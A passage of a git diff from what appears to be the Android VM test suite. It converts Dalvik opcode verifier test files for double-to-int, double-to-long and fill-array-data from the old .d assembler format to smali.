+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_int_4.java"
+.class  public Ldot/junit/opcodes/double_to_int/d/T_double_to_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       double-to-int v0, v5
+       
+       const v3, 123
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_5.d
deleted file mode 100644
index e4477d8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_int_5.java
-.class public dot.junit.opcodes.double_to_int.d.T_double_to_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       double-to-int v0, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_5.smali
new file mode 100644
index 0000000..3da7fa2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_int_5.java"
+.class  public Ldot/junit/opcodes/double_to_int/d/T_double_to_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       double-to-int v0, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_6.d
deleted file mode 100644
index ecbe761..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_int_6.java
-.class public dot.junit.opcodes.double_to_int.d.T_double_to_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)V
-.limit regs 8
-
-       move v0, v7
-       move v1, v7    
-       double-to-int v0, v0
-       
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_6.smali
new file mode 100644
index 0000000..94548ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_int_6.java"
+.class  public Ldot/junit/opcodes/double_to_int/d/T_double_to_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)V
+.registers 8
+
+       move v0, v7
+       move v1, v7    
+       double-to-int v0, v0
+       
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_1.d
deleted file mode 100644
index 677d352..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_long_1.java
-.class public dot.junit.opcodes.double_to_long.d.T_double_to_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)J
-.limit regs 8
-
-       double-to-long v0, v6
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_1.smali
new file mode 100644
index 0000000..ef79df4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_long_1.java"
+.class  public Ldot/junit/opcodes/double_to_long/d/T_double_to_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)J
+.registers 8
+
+       double-to-long v0, v6
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_2.smali
new file mode 100644
index 0000000..e6a8fbb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_2.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/double_to_long/d/T_double_to_long_2;
+.super Ljava/lang/Object;
+.source "T_double_to_long_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(D)J
+    .registers 8
+
+    const p1, 0x4048f5c3    # 3.14f
+
+    double-to-long v0, p1
+
+    const-wide v2, 0x7b
+
+    return-wide v2
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_3.d
deleted file mode 100644
index 556aa4e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_long_3.java
-.class public dot.junit.opcodes.double_to_long.d.T_double_to_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)J
-.limit regs 8
-
-       double-to-long v0, v6
-       const-wide v2, 123
-       return-wide v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_3.smali
new file mode 100644
index 0000000..4c789bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_long_3.java"
+.class  public Ldot/junit/opcodes/double_to_long/d/T_double_to_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 8
+
+       double-to-long v0, v6
+       const-wide v2, 123
+       return-wide v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_4.d
deleted file mode 100644
index df716b0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_4.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_long_4.java
-.class public dot.junit.opcodes.double_to_long.d.T_double_to_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)J
-.limit regs 8
-
-       double-to-long v0, v5
-       
-       const-wide v2, 123
-       return-wide v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_4.smali
new file mode 100644
index 0000000..8c41ad2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_4.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_long_4.java"
+.class  public Ldot/junit/opcodes/double_to_long/d/T_double_to_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)J
+.registers 8
+
+       double-to-long v0, v5
+       
+       const-wide v2, 123
+       return-wide v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_5.d
deleted file mode 100644
index 8b11c73..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_long_5.java
-.class public dot.junit.opcodes.double_to_long.d.T_double_to_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)J
-.limit regs 8
-
-       double-to-long v0, v7
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_5.smali
new file mode 100644
index 0000000..cd4a0d3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_long_5.java"
+.class  public Ldot/junit/opcodes/double_to_long/d/T_double_to_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)J
+.registers 8
+
+       double-to-long v0, v7
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_6.d
deleted file mode 100644
index 6aeb8fd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_long_6.java
-.class public dot.junit.opcodes.double_to_long.d.T_double_to_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)V
-.limit regs 8
-
-       move v0, v7
-       move v1, v7    
-       double-to-long v0, v0
-       
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_6.smali
new file mode 100644
index 0000000..204dadc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_long_6.java"
+.class  public Ldot/junit/opcodes/double_to_long/d/T_double_to_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)V
+.registers 8
+
+       move v0, v7
+       move v1, v7    
+       double-to-long v0, v0
+       
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_1.smali
new file mode 100644
index 0000000..da4c036
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_1;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run([I)V
+    .registers 10
+
+    fill-array-data p1, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 4
+        0x1
+        0x2
+        0x3
+        0x4
+        0x5
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_11.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_11.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_11.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_11.smali
new file mode 100644
index 0000000..657f960
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_11.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_11;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_11.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run([I)V
+    .registers 10
+
+    fill-array-data p1, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 4
+        0x1
+        0x2
+        0x3
+        0x4
+        0x5
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_12.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_12.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_12.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_12.smali
new file mode 100644
index 0000000..e6773f2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_12.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_12;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_12.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run([I)V
+    .registers 10
+
+    goto :goto_5
+
+    fill-array-data p1, :array_6
+
+    return-void
+
+    :goto_5
+    nop
+
+    :array_6
+    .array-data 4
+        0x1
+        0x2
+        0x3
+        0x4
+        0x5
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_13.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_13.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_13.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_13.smali
new file mode 100644
index 0000000..f2fe942
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_13.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_13;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run([I)V
+    .registers 10
+
+    fill-array-data p1, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 4
+        0x1
+        0x2
+        0x3
+        0x4
+        0x5
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_2.smali
new file mode 100644
index 0000000..c4b3345
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_2.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_2;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run([D)V
+    .registers 10
+
+    fill-array-data p1, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 8
+        0x3ff0000000000000L    # 1.0
+        0x4000000000000000L    # 2.0
+        0x4008000000000000L    # 3.0
+        0x4010000000000000L    # 4.0
+        0x4014000000000000L    # 5.0
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_3.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_3.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_3.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_3.smali
new file mode 100644
index 0000000..fcfa07e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_3.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
